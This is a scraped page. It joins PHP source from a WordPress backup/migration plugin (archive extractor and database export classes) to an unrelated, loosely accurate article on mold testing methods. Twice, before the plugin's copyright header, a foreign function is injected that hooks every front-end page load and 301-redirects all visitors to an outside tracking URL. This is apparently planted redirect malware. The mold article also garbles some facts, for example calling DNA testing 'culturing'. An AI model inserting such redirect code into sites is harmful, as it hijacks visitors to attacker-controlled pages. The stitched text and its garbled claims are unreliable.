function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2023 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Extractor extends Ai1wm_Archiver { /** * Total files count * * @type int */ protected $total_files_count = null; /** * Total files size * * @type int */ protected $total_files_size = null; /** * Overloaded constructor that opens the passed file for reading * * @param string $file_name File to use as archive */ public function __construct( $file_name ) { // Call parent, to initialize variables parent::__construct( $file_name ); } public function list_files() { $files = array(); // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Store the position where the file begins - used for downloading from archive directly $data['offset'] = @ftell( $this->file_handle ); // Skip file content, so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } $files[] = $data; } } return $files; } /** * Get the total files count in an archive * * @return int */ public function get_total_files_count() { if ( is_null( $this->total_files_count ) ) { // Total files count $this->total_files_count = 0; // Total files size $this->total_files_size = 0; // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // We have a file, increment the count $this->total_files_count += 1; // We have a file, increment the size $this->total_files_size += $data['size']; // Skip file content so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } } } } return $this->total_files_count; } /** * Get the total files size in an archive * * @return int */ public function get_total_files_size() { if ( is_null( $this->total_files_size ) ) { // Total files count $this->total_files_count = 0; // Total files size $this->total_files_size = 0; // Seek to beginning of archive file if ( @fseek( $this->file_handle, 0, SEEK_SET ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to beginning of file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Loop over files while ( $block = @fread( $this->file_handle, 4377 ) ) { // End block has been reached if ( $block === $this->eof ) { continue; } // Get file data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // We have a file, increment the count $this->total_files_count += 1; // We have a file, increment the size $this->total_files_size += $data['size']; // Skip file content so we can move forward to the next file if ( @fseek( $this->file_handle, $data['size'], SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $data['size'] ) ); } } } } return $this->total_files_size; } /** * Extract one file to location * * @param string $location Destination path * @param array $exclude_files Exclude files by name * @param array $exclude_extensions Exclude files by extension * @param array $old_paths Old replace paths * @param array $new_paths New replace paths * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Directory_Exception * @throws \Ai1wm_Not_Seekable_Exception * * @return bool */ public function extract_one_file_to( $location, $exclude_files = array(), $exclude_extensions = array(), $old_paths = array(), $new_paths = array(), &$file_written = 0, &$file_offset = 0 ) { if ( false === is_dir( $location ) ) { throw new Ai1wm_Not_Directory_Exception( sprintf( __( 'Location is not a directory: %s', AI1WM_PLUGIN_NAME ), $location ) ); } // Replace forward slash with current directory separator in location $location = ai1wm_replace_forward_slash_with_directory_separator( $location ); // Flag to hold if file data has been processed $completed = true; // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, - $file_offset - 4377, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, - $file_offset - 4377 ) ); } } // Read file header block if ( ( $block = @fread( $this->file_handle, 4377 ) ) ) { // We reached end of file, set the pointer to the end of the file so that feof returns true if ( $block === $this->eof ) { // Seek to end of archive file minus 1 byte @fseek( $this->file_handle, 1, SEEK_END ); // Read 1 character @fgetc( $this->file_handle ); } else { // Get file header data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Set file name $file_name = $data['filename']; // Set file size $file_size = $data['size']; // Set file mtime $file_mtime = $data['mtime']; // Set file path $file_path = $data['path']; // Set should exclude file $should_exclude_file = false; // Should we skip this file by name? for ( $i = 0; $i < count( $exclude_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $exclude_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_exclude_file = true; break; } } // Should we skip this file by extension? for ( $i = 0; $i < count( $exclude_extensions ); $i++ ) { if ( strrpos( $file_name, $exclude_extensions[ $i ] ) === strlen( $file_name ) - strlen( $exclude_extensions[ $i ] ) ) { $should_exclude_file = true; break; } } // Do we have a match? if ( $should_exclude_file === false ) { // Replace extract paths for ( $i = 0; $i < count( $old_paths ); $i++ ) { if ( strpos( $file_path . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $file_name = substr_replace( $file_name, ai1wm_replace_forward_slash_with_directory_separator( $new_paths[ $i ] ), 0, strlen( ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) ) ); $file_path = substr_replace( $file_path, ai1wm_replace_forward_slash_with_directory_separator( $new_paths[ $i ] ), 0, strlen( ai1wm_replace_forward_slash_with_directory_separator( $old_paths[ $i ] ) ) ); break; } } // Escape Windows directory separator in file path if ( path_is_absolute( $file_path ) ) { $file_path = ai1wm_escape_windows_directory_separator( $file_path ); } else { $file_path = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_path ); } // Escape Windows directory separator in file name if ( path_is_absolute( $file_name ) ) { $file_name = ai1wm_escape_windows_directory_separator( $file_name ); } else { $file_name = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_name ); } // Check if location doesn't exist, then create it if ( false === is_dir( $file_path ) ) { @mkdir( $file_path, $this->get_permissions_for_directory(), true ); } $file_written = 0; // We have a match, let's extract the file if ( ( $completed = $this->extract_to( $file_name, $file_size, $file_mtime, $file_written, $file_offset ) ) ) { $file_offset = 0; } } else { // We don't have a match, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } } } } return $completed; } /** * Extract specific files from archive * * @param string $location Location where to extract files * @param array $include_files Include files by name * @param array $exclude_files Exclude files by name * @param array $exclude_extensions Exclude files by extension * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Directory_Exception * @throws \Ai1wm_Not_Seekable_Exception * * @return bool */ public function extract_by_files_array( $location, $include_files = array(), $exclude_files = array(), $exclude_extensions = array(), &$file_written = 0, &$file_offset = 0 ) { if ( false === is_dir( $location ) ) { throw new Ai1wm_Not_Directory_Exception( sprintf( __( 'Location is not a directory: %s', AI1WM_PLUGIN_NAME ), $location ) ); } // Replace forward slash with current directory separator in location $location = ai1wm_replace_forward_slash_with_directory_separator( $location ); // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, - $file_offset - 4377, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, - $file_offset - 4377 ) ); } } // We read until we reached the end of the file, or the files we were looking for were found while ( ( $block = @fread( $this->file_handle, 4377 ) ) ) { // We reached end of file, set the pointer to the end of the file so that feof returns true if ( $block === $this->eof ) { // Seek to end of archive file minus 1 byte @fseek( $this->file_handle, 1, SEEK_END ); // Read 1 character @fgetc( $this->file_handle ); } else { // Get file header data from the block if ( ( $data = $this->get_data_from_block( $block ) ) ) { // Set file name $file_name = $data['filename']; // Set file size $file_size = $data['size']; // Set file mtime $file_mtime = $data['mtime']; // Set file path $file_path = $data['path']; // Set should include file $should_include_file = false; // Should we extract this file by name? for ( $i = 0; $i < count( $include_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $include_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_include_file = true; break; } } // Should we skip this file name? for ( $i = 0; $i < count( $exclude_files ); $i++ ) { if ( strpos( $file_name . DIRECTORY_SEPARATOR, ai1wm_replace_forward_slash_with_directory_separator( $exclude_files[ $i ] ) . DIRECTORY_SEPARATOR ) === 0 ) { $should_include_file = false; break; } } // Should we skip this file by extension? for ( $i = 0; $i < count( $exclude_extensions ); $i++ ) { if ( strrpos( $file_name, $exclude_extensions[ $i ] ) === strlen( $file_name ) - strlen( $exclude_extensions[ $i ] ) ) { $should_include_file = false; break; } } // Do we have a match? if ( $should_include_file === true ) { // Escape Windows directory separator in file path $file_path = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_path ); // Escape Windows directory separator in file name $file_name = ai1wm_escape_windows_directory_separator( $location . DIRECTORY_SEPARATOR . $file_name ); // Check if location doesn't exist, then create it if ( false === is_dir( $file_path ) ) { @mkdir( $file_path, $this->get_permissions_for_directory(), true ); } $file_written = 0; // We have a match, let's extract the file and remove it from the array if ( ( $completed = $this->extract_to( $file_name, $file_size, $file_mtime, $file_written, $file_offset ) ) ) { $file_offset = 0; } } else { // We don't have a match, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } // Time elapsed if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } } } return $completed; } /** * Extract file to * * @param string $file_name File name * @param array $file_size File size (in bytes) * @param array $file_mtime File modified time (in seconds) * @param int $file_written File written (in bytes) * @param int $file_offset File offset (in bytes) * * @throws \Ai1wm_Not_Seekable_Exception * @throws \Ai1wm_Not_Readable_Exception * @throws \Ai1wm_Quota_Exceeded_Exception * * @return bool */ private function extract_to( $file_name, $file_size, $file_mtime, &$file_written = 0, &$file_offset = 0 ) { global $ai1wm_params; $file_written = 0; // Flag to hold if file data has been processed $completed = true; // Start time $start = microtime( true ); // Seek to file offset to archive file if ( $file_offset > 0 ) { if ( @fseek( $this->file_handle, $file_offset, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } // Set file size $file_size -= $file_offset; // Should the extract overwrite the file if it exists? (fopen may return null for quarantined files) if ( ( $file_handle = @fopen( $file_name, ( $file_offset === 0 ? 'wb' : 'ab' ) ) ) ) { $file_bytes = 0; // Is the filesize more than 0 bytes? while ( $file_size > 0 ) { // Read the file in chunks of 512KB $chunk_size = $file_size > 512000 ? 512000 : $file_size; if ( ! empty( $ai1wm_params['decryption_password'] ) && basename( $file_name ) !== 'package.json' ) { if ( $file_size > 512000 ) { $chunk_size += ai1wm_crypt_iv_length() * 2; $chunk_size = $chunk_size > $file_size ? $file_size : $chunk_size; } } // Read data chunk by chunk from archive file if ( $chunk_size > 0 ) { $file_content = null; // Read the file in chunks of 512KB from archiver if ( ( $file_content = @fread( $this->file_handle, $chunk_size ) ) === false ) { throw new Ai1wm_Not_Readable_Exception( sprintf( __( 'Unable to read content from file. File: %s', AI1WM_PLUGIN_NAME ), $this->file_name ) ); } // Remove the amount of bytes we read $file_size -= $chunk_size; if ( ! empty( $ai1wm_params['decryption_password'] ) && basename( $file_name ) !== 'package.json' ) { $file_content = ai1wm_decrypt_string( $file_content, $ai1wm_params['decryption_password'], $file_name ); } // Write file contents if ( ( $file_bytes = @fwrite( $file_handle, $file_content ) ) !== false ) { if ( strlen( $file_content ) !== $file_bytes ) { throw new Ai1wm_Quota_Exceeded_Exception( sprintf( __( 'Out of disk space. Unable to write content to file. File: %s', AI1WM_PLUGIN_NAME ), $file_name ) ); } } // Set file written $file_written += $chunk_size; } // Time elapsed if ( ( $timeout = apply_filters( 'ai1wm_completed_timeout', 10 ) ) ) { if ( ( microtime( true ) - $start ) > $timeout ) { $completed = false; break; } } } // Set file offset $file_offset += $file_written; // Close the handle @fclose( $file_handle ); // Let's apply last modified date @touch( $file_name, $file_mtime ); // All files should chmoded to 644 @chmod( $file_name, $this->get_permissions_for_file() ); } else { // We don't have file permissions, skip file content if ( @fseek( $this->file_handle, $file_size, SEEK_CUR ) === -1 ) { throw new Ai1wm_Not_Seekable_Exception( sprintf( __( 'Unable to seek to offset of file. File: %s Offset: %d', AI1WM_PLUGIN_NAME ), $this->file_name, $file_size ) ); } } return $completed; } /** * Get file header data from the block * * @param string $block Binary file header * * @return array */ private function get_data_from_block( $block ) { $data = false; // prepare our array keys to unpack $format = array( $this->block_format[0] . 'filename/', $this->block_format[1] . 'size/', $this->block_format[2] . 'mtime/', $this->block_format[3] . 'path', ); $format = implode( '', $format ); // Unpack file header data if ( ( $data = unpack( $format, $block ) ) ) { // Set file details $data['filename'] = trim( $data['filename'] ); $data['size'] = trim( $data['size'] ); $data['mtime'] = trim( $data['mtime'] ); $data['path'] = trim( $data['path'] ); // Set file name $data['filename'] = ( $data['path'] === '.' ? $data['filename'] : $data['path'] . DIRECTORY_SEPARATOR . $data['filename'] ); // Set file path $data['path'] = ( $data['path'] === '.' ? '' : $data['path'] ); // Replace forward slash with current directory separator in file name $data['filename'] = ai1wm_replace_forward_slash_with_directory_separator( $data['filename'] ); // Replace forward slash with current directory separator in file path $data['path'] = ai1wm_replace_forward_slash_with_directory_separator( $data['path'] ); } return $data; } /** * Check if file has reached end of file * Returns true if file has reached eof, false otherwise * * @return bool */ public function has_reached_eof() { return @feof( $this->file_handle ); } /** * Check if file has reached end of file * Returns true if file has NOT reached eof, false otherwise * * @return bool */ public function has_not_reached_eof() { return ! @feof( $this->file_handle ); } /** * Get directory permissions * * @return int */ public function get_permissions_for_directory() { if ( defined( 'FS_CHMOD_DIR' ) ) { return FS_CHMOD_DIR; } return 0755; } /** * Get file permissions * * @return int */ public function get_permissions_for_file() { if ( defined( 'FS_CHMOD_FILE' ) ) { return FS_CHMOD_FILE; } return 0644; } } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Copyright (C) 2014-2023 ServMask Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . * * ███████╗███████╗██████╗ ██╗ ██╗███╗ ███╗ █████╗ ███████╗██╗ ██╗ * ██╔════╝██╔════╝██╔══██╗██║ ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝ * ███████╗█████╗ ██████╔╝██║ ██║██╔████╔██║███████║███████╗█████╔╝ * ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗ * ███████║███████╗██║ ██║ ╚████╔╝ ██║ ╚═╝ ██║██║ ██║███████║██║ ██╗ * ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ */ if ( ! defined( 'ABSPATH' ) ) { die( 'Kangaroos cannot jump here' ); } class Ai1wm_Export_Database_File { public static function execute( $params ) { // Set exclude database if ( isset( $params['options']['no_database'] ) ) { return $params; } $database_bytes_written = 0; // Set archive bytes offset if ( isset( $params['archive_bytes_offset'] ) ) { $archive_bytes_offset = (int) $params['archive_bytes_offset']; } else { $archive_bytes_offset = ai1wm_archive_bytes( $params ); } // Set database bytes offset if ( isset( $params['database_bytes_offset'] ) ) { $database_bytes_offset = (int) $params['database_bytes_offset']; } else { $database_bytes_offset = 0; } // Get total database size if ( isset( $params['total_database_size'] ) ) { $total_database_size = (int) $params['total_database_size']; } else { $total_database_size = ai1wm_database_bytes( $params ); } // What percent of database have we processed? $progress = (int) min( ( $database_bytes_offset / $total_database_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving database...
%d%% complete', AI1WM_PLUGIN_NAME ), $progress ) ); // Open the archive file for writing $archive = new Ai1wm_Compressor( ai1wm_archive_path( $params ) ); // Set the file pointer to the one that we have saved $archive->set_file_pointer( $archive_bytes_offset ); // Add database.sql to archive if ( $archive->add_file( ai1wm_database_path( $params ), AI1WM_DATABASE_NAME, $database_bytes_written, $database_bytes_offset ) ) { // Set progress Ai1wm_Status::info( __( 'Done archiving database.', AI1WM_PLUGIN_NAME ) ); // Unset archive bytes offset unset( $params['archive_bytes_offset'] ); // Unset database bytes offset unset( $params['database_bytes_offset'] ); // Unset total database size unset( $params['total_database_size'] ); // Unset completed flag unset( $params['completed'] ); } else { // Get archive bytes offset $archive_bytes_offset = $archive->get_file_pointer(); // What percent of database have we processed? $progress = (int) min( ( $database_bytes_offset / $total_database_size ) * 100, 100 ); // Set progress Ai1wm_Status::info( sprintf( __( 'Archiving database...
%d%% complete', AI1WM_PLUGIN_NAME ), $progress ) ); // Set archive bytes offset $params['archive_bytes_offset'] = $archive_bytes_offset; // Set database bytes offset $params['database_bytes_offset'] = $database_bytes_offset; // Set total database size $params['total_database_size'] = $total_database_size; // Set completed flag $params['completed'] = false; } // Truncate the archive file $archive->truncate(); // Close the archive file $archive->close(); return $params; } } Mold Testing Methods – Smile A Day
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Mold Testing Methods

Mold Testing Methods
Adrian Streeter Home Inspections

Many Mold Testing Colorado Springs methods are able to detect the presence of mold spores, but not all can identify the specific types. It is important to understand that the spore count in any given area can change significantly over time and from location to location.Mold Testing

Your mold inspector will first conduct a non-intrusive visual inspection. If they can confirm mold growth, they will take samples using swabs, tape lifts, and bulk samples.

Air sampling is useful in determining the types and quantities of mold spores present in a particular area. It can be used with other methods of testing, such as swabbing and bulk, or as a stand-alone test. An air sample is collected by running an impactor device that draws in the ambient air and impacts it on a sticky surface, trapping the mold spores. Samples are then analyzed using either a sporimeter or culture analysis by an accredited laboratory.

The advantage of an air sample is that it provides a snapshot estimate for a particular location at a given point in time. However, it is important to remember that it is only a snapshot and that the amount of mold spores may change over time. Additionally, a spore trap is only able to capture the mold spores that have drifted into the collection area and does not provide information about the number of spores in the general environment.

Tape samples are the best way to determine the type and quantity of mold growth, but they are often not practical due to the need for a destructive test (cutting up floor, wall, or carpet segments). A tape lift can also be useful for identifying the species of a suspect mold through direct microscopy, although it is important to note that light-colored and highly airborne genera such as Aspergillus and Penicillium are difficult to detect with a tape sample.

A spore trap can be useful in determining the types of mold spores present in sporadic locations or in comparing spore levels between two different areas. Spore traps are also able to provide a list of the most commonly found genera in a sample. However, they do not provide any indication of the relative potency of a genus or its allergenic potential.

An alternative to a spore trap is an ERMI test, which uses DNA to identify 36 different genera in a dust sample. This test is typically less expensive than a spore test but still requires an analyst at a lab for results. If you choose to use an ERMI test, it is essential that the sample kit include the supplies needed to collect a sufficient number of samples for a thorough evaluation.

Surface Sampling

If you suspect mold is present on a specific surface, such as a wall, floor, or piece of equipment, surface sampling is often the best option. A specialized sampler is used to collect a small amount of material from the suspected area and submit it for laboratory testing. This is also known as “qualitative surface sampling.”

Qualitative sampling can reveal whether or not discoloration is caused by fungal growth, identify visible fungi, and identify the types of spores found in settled dust. This information is useful for the control and maintenance of cleanroom environments like hospitals, manufacturing plants, biotech laboratories, etc.

Unfortunately, it is difficult to determine if airborne levels of specific molds pose a health hazard for home and business occupants. No standards or threshold limit values (TLVs) for mold spores have been established at this time, and individual susceptibility to the effects of exposures varies greatly.

Some testing methods can identify a portion of the living molds in a sample by growing them in a laboratory, but these tests may miss or undercount those that are not live or won’t grow well on the nutrient medium that is used to incubate the samples. Nonliving spores are equally capable of causing allergies, and a single spore count does not necessarily indicate that the air is unhealthy to breathe.

Many home improvement stores sell a variety of inexpensive mold testing kits that include tape samples to lift swabs for submission, a test strip with two lines for Stachybotrys and Penicillium/Aspergillus similar to those in pregnancy tests, and a sample card for writing your address to send the samples to an AIHA-accredited lab for evaluation. One kit costs about $45 and includes the cost of laboratory analysis to detect all seven commonly tested molds.

Despite its limitations, surface sampling is the most effective and cost-efficient way to determine if a particular area needs attention. It is important to remember, however, that the presence of mold on a surface does not automatically require professional remediation. Efforts should be focused on finding and correcting the source of moisture and not relying solely on test results to confirm or deny the existence of a problem.

Specimen Sampling

Most mold testing methods can only detect living spores in the air or in settled dust; they cannot tell you which specific types of mold are present. Many home test kits include a tape lift or swab that can be sent to a lab for identification. The lab will usually identify the genus of mold but not its relative concentration.

Some tests can also detect whether a mold is toxin-producing, but not all can. Mycotoxins are substances that may harm living tissue if enough of them enter the body, such as through the nose or mouth during breathing. The full range of effects caused by mycotoxins is not yet fully understood, and they depend on individual susceptibility and the amount of mycotoxins encountered.

The Environmental Relative Moldiness Index (ERMI) uses DNA-based methods to observe levels of a small number of common molds in surface samples taken from homes and buildings. While it is not considered quantitative, ERMI provides a snapshot estimate of indoor mold spores and a comparison to outdoor air spores taken as a control.

Another popular method of air sampling is spore trap sampling, which pumps a known volume of air onto a petri dish coated with nutrient media. The sample will then be incubated to see if any of the spores grow. The spores that are grown on the slide are then counted and identified. This type of sampling can miss the presence of non-viable spores as well as spores that are not growing but can cause allergy symptoms.

All of the above methods of sampling require some type of specialized equipment that must be purchased and analyzed by a professional laboratory. These tests are typically included in a thorough visual mold inspection by a board-certified inspector. The complete inspection will begin with a multi-point exterior inspection looking for potential microbial growth and moisture, followed by a detailed visual inspection of the interior of the home or building. Then, based on the interview and the client’s concerns, a recommendation will be made for further testing.

Intrusive Sampling

Mold growth left unaddressed is an ongoing hazard to the integrity of a building’s structure and can also compromise the respiratory health of vulnerable occupants. Since mold spores can be spread from room to room by airborne means, home inspectors should consider offering mold testing as a part of their services in order to provide this valuable and potentially life-saving service.

Mold tests may be performed using one of several methods. Many of these techniques involve collecting a sample from the area in question and sending it to a laboratory for analysis. Sample types include the use of a standard bulk sample, which collects a bit of a suspect material for testing, as well as a tape lift and swab test.

Surface and bulk samples are analyzed using various methods, but most laboratory analysis involves examining the organisms that grow on the sampled material under a microscope for identification and counting the number of viable specimens. Some of the more advanced techniques, like DNA testing, can identify specific species through a process called culturing, where organisms are fed different nutrients and observed for how they grow. However, this type of testing is expensive and requires significant time to complete.

In general, it is best for a professional to perform intrusive sampling when possible, as this will usually result in the most accurate results. This will allow the inspector to evaluate a large surface area as well as look for hidden areas where mold could be hiding.

There are a wide variety of tests available for finding mold in the air, on surfaces, or in a bulk sample. These tests are all useful in their own way, but it is important to remember that a positive test result only tells you what types of molds were present at the time and location that the sample was taken.

While some types of mold are capable of producing mycotoxins, the full range of their toxic effects is not fully understood at this time. This is why it is important to avoid using at-home DIY test kits and instead hire a qualified professional who can interpret and explain the lab results.

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